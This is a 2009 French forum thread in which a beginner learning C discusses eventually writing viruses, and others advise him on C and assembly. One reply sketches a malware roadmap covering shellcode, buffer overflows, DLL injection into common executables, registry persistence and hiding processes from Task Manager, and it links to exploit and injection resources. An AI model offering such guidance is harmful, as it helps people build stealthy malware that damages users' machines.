SUPER MEGA GRANDE QUESTION EXISTANCIELLE :: J'ai repris le C hier, j'ai derriere moi la premiere partie du cours sur le http://siteduzero.com/ et j'en suis aux tableaux ma question est est ce normal que je n'en voit pas la fin de ce cours ?? et que je ne voit pas trop a quoi sa peut me servir dans mon projet ??
Et Que J'en ai Marre du C x))


Titre: Re : Virus : Un tabou ?
Posté par: Spl3en le 07 Août 2009 à 14:28:05
Je sais pas ce que tu entends par "je n'en vois pas la fin du cours", mais pour moi, le chapitre sur les tableaux se clôt par :
Citation
Faites-vous un petit fichier de fonctions appelé tableaux.c (avec son homologue tableaux.h qui contiendra les prototypes bien sûr !) contenant toutes les fonctions de votre cru réalisant des opérations sur des tableaux :)
Vous entraîner comme ça, c'est le meilleur moyen de vous former :)
Au boulot ! ;)

Par contre, je saisis mal ce que tu voulais faire avec ce bout de code concernant l'écriture d'un fichier en C ...

Allez courage :) Une fois que tu connaîtras le C sur le bout des doigts, il te sera de toute façon aisé de passer d'un langage à un autre :) Alors autant faire le sale boulot maintenant, tu n'y échapperas pas :p


Titre: Re : Re : Virus : Un tabou ?
Posté par: _o_ le 07 Août 2009 à 14:40:59
Donc voila, mais une bombe logique n'est pas une des classes de virus ? Ou alors juste une catégorie de malware ?

La réponse est dans la première page de ce fil...


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 07 Août 2009 à 15:34:54
Je voulais dire par là, que apprendre le C ( enfin les chapitres donnés ) était long x) lol


Titre: Re : Re : Virus : Un tabou ?
Posté par: _o_ le 07 Août 2009 à 17:13:24
Je voulais dire par là, que apprendre le C ( enfin les chapitres donnés ) était long

Et ça t'étonne ? Tu es au courant que c'est un métier, pour certains ?
Oui, l'informatique est un vaste domaine, et oui, il faut des compétences et de l'expérience pour arriver quelque part, comme n'importe quel métier. Il est assez illusoire de se lever le matin et se dire «tiens, aujourd'hui, je vais apprendre à écrire un virus» (ou apprendre le C, ça marche aussi). Tout ça prend du temps.


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 07 Août 2009 à 17:30:03
Tiens, sa je le savais deja c'était histoire de relancer la conversation  =)

Je sais que c'est un metier et je ne compte pas apprendre le C pour écrire des virus SPECIALEMENT .
C'est un langage vaste et diversifié /!\


Titre: Re : Virus : Un tabou ?
Posté par: zilot2 le 08 Août 2009 à 01:20:37
bonjours et pardonnez mon français
je ne sait pas quel genre de virus tu cherche mais ce n'est pas  avec ses programmes que tu as posté
il faut apprendre shell donc l'asm le buffer overflow et comment faire des injections dans un file.exe ou des injection dll par c ou c++(choisir des file.exe les plus utiliser que tu peux trouver dans la plus part des pc comme msn et qui ont des failles bof pour savoire
plus sur les failles http://milw0rm.com/ 2-ton virus soit efficasse
)et cette etape demande aussi 5 ou plus a faire et savoir au moin ecrire ton programme dans la base des registre windows et cacher
son processus du taskmenager et enfin reflechir que faire ton programme toi tu as commencer par la derniere etape moi aussi je suis à la recherche d'une source pour apprendre pour debutant
http://www.cppfrance.com/codes/INJECTION-DLL-DANS-IMPORTE-QUEL-PROCESS_42230.aspx
http://www.dreamincode.net/code/snippet407.htm
http://www.bases-hacking.org/?url=shellcode-null-free


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 08 Août 2009 à 10:56:48
Citation
il faut apprendre shell donc l'asm le buffer overflow et comment faire des injections dans un file.exe

Il me semble que pour un débutant, le C convient très bien. Colle de l'ASM pour un débutant et tu lui fais faire une attaque ! J'avais commencé par l'ASM et on m'a réorienté vers le C que je trouve infiniment plus facile que l'ASM. Pour te dire, je liquide les chapitres ultra rapidement sur http://siteduzero.com/ en les comprenant très bien tandis que l'ASM, c'est limite si je comprend l'auteur quand il raconte ses histoires ^^". Tout ça pour dire que je vais pas m'orienter ASM pour rien 


Titre: Re : Virus : Un tabou ?
Posté par: Spl3en le 08 Août 2009 à 12:01:31
Sans vouloir te décourager, il faut que tu relativises : ce que t'apprends le site du zéro n'est que la "base de la base" du C, comme apprendre l'addition ou la soustraction en primaire.
C'est après avec ces outils que tu apprendras réellement le potentiel du C, tout comme si je respecte ma métaphore, apprendre des théorèmes et les appliquer face à un problème dans l'enseignement supérieur.
Apprendre l'ASM, bien que c'est assez infect quand on débute on va l'avouer (après faut aimer!), te donnera une bien plus nette compréhension de la gestion de la mémoire, et t'ouvriras bien plus de portes que de rester sur les tutos du SDZ, qui se veulent rester assez "ludique" dans leur apprentissage du C.

Mais on est d'accord que apprendre l'assembleur pour un débutant n'est pas une chose aisée, si tu connais bien le C d'abord, ça devrait bien passer par la suite :)
Mais si les virus sont ton objectif, tu peux être quasiment sûr et certain que la case "assembleur" est inévitable.


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 08 Août 2009 à 15:08:11
Euh .. Case départ plizz x)

Bon Ok C'est pas le must sur le SDZ et l'assembleur sera inévitable mais je prefère en rester au C pour le moment, bien assimiler les bases pour ne pas avoir de problème par la suite x)

Et je passerai sur la case assembleur ( + 200 $$ )  :)

Mais je reste au C etant donné que je suis qualifié pour etre débutant x)